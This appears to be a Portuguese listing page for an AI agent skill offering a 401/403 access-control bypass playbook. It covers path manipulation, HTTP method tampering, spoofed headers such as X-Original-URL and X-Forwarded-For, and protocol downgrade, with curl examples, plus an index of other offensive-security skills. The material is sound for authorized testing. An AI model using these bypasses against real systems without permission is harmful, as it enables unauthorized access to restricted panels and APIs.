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yaklang/401-403-bypass-techniques

Manual de bypass de 401/403. Use ao encontrar respostas de acesso negado em painéis administrativos, endpoints de API ou caminhos restritos. Abrange manipulação de caminhos, adulteração de métodos HTTP, injeção de cabeçalhos, downgrade de protocolo e ferramentas automatizadas de bypass.

O que é 401-403-bypass-techniques?

Esta skill fornece um playbook abrangente para contornar respostas de status HTTP 401 (Não Autorizado) e 403 (Proibido). É útil para desenvolvedores, testadores de segurança e engenheiros que encontram restrições de acesso em painéis administrativos, endpoints de API ou caminhos restritos. A skill cobre uma ampla gama de técnicas: manipulação de caminhos (como adicionar barras ou pontos de interrogação), adulteração de métodos HTTP (usando PUT, PATCH, OPTIONS), injeção de cabeçalhos (como X-Forwarded-For), downgrade de protocolo (de HTTPS para HTTP), e uso de ferramentas automatizadas como `403bypasser` e `bypass-403`. A solução é independente de plataforma, funcionando com qualquer servidor web ou API, e as técnicas são ilustradas com comandos curl e exemplos práticos. Inclui também uma lista de verificação rápida para referência durante testes.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/401-403-bypass-techniques

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Documentação

O que 401-403-bypass-techniques faz?

Manual de bypass de 401/403. Use ao encontrar respostas de acesso negado em painéis administrativos, endpoints de API ou caminhos restritos. Abrange manipulação de caminhos, adulteração de métodos HTTP, injeção de cabeçalhos, downgrade de protocolo e ferramentas automatizadas de bypass.

Técnicas de Bypass

1. Manipulação de Caminhos

  • Adicionar / no final: https://exemplo.com/admin/
  • Usar . no caminho: https://exemplo.com/./admin/
  • Usar .. no caminho: https://exemplo.com/../admin/
  • Codificação de URL: https://exemplo.com/%61dmin/ (codifica 'a' como %61)
  • Adicionar ? no final: https://exemplo.com/admin?
  • Adicionar # no final: https://exemplo.com/admin#
  • Usar %20 ou %09 no caminho: https://exemplo.com/admin%20/

2. Adulteração de Métodos HTTP

  • Usar PUT: curl -X PUT https://exemplo.com/admin/
  • Usar PATCH: curl -X PATCH https://exemplo.com/admin/
  • Usar OPTIONS: curl -X OPTIONS https://exemplo.com/admin/
  • Usar HEAD: curl -X HEAD https://exemplo.com/admin/
  • Usar CONNECT: curl -X CONNECT https://exemplo.com/admin/
  • Usar TRACE: curl -X TRACE https://exemplo.com/admin/

3. Injeção de Cabeçalhos

  • X-Forwarded-For: 127.0.0.1 (falsificar IP local)
  • X-Forwarded-Host: localhost (falsificar host local)
  • X-Original-URL: /admin/ (reescrever URL original)
  • X-Rewrite-URL: /admin/ (reescrever URL)
  • X-Custom-IP-Authorization: 127.0.0.1 (autorização IP personalizada)
  • X-Real-IP: 127.0.0.1 (IP real)
  • X-Client-IP: 127.0.0.1 (IP do cliente)
  • Referer: https://exemplo.com/admin/ (falsificar referenciador)
  • User-Agent: Mozilla/5.0 (agente de usuário comum)

4. Downgrade de Protocolo

  • Trocar https:// por http://
  • Exemplo: curl http://exemplo.com/admin/

5. Ferramentas Automatizadas

Lista de Verificação Rápida

  • Adicionar / no final
  • Usar %2e no caminho
  • Mudar método HTTP
  • Adicionar cabeçalho X-Forwarded-For
  • Adicionar cabeçalho X-Original-URL
  • Trocar para HTTP
  • Rodar ferramenta automatizada

Exemplo de Uso com curl

# Bypass básico com cabeçalho X-Original-URL
curl -H 'X-Original-URL: /admin/' https://exemplo.com/

# Bypass com método PUT
curl -X PUT https://exemplo.com/admin/

# Bypass com caminho manipulado
curl https://exemplo.com/./admin/

# Bypass com IP falsificado
curl -H 'X-Forwarded-For: 127.0.0.1' https://exemplo.com/admin/

# Bypass com downgrade de protocolo
curl http://exemplo.com/admin/

Referências

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

yaklang/cmdi-command-injection

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

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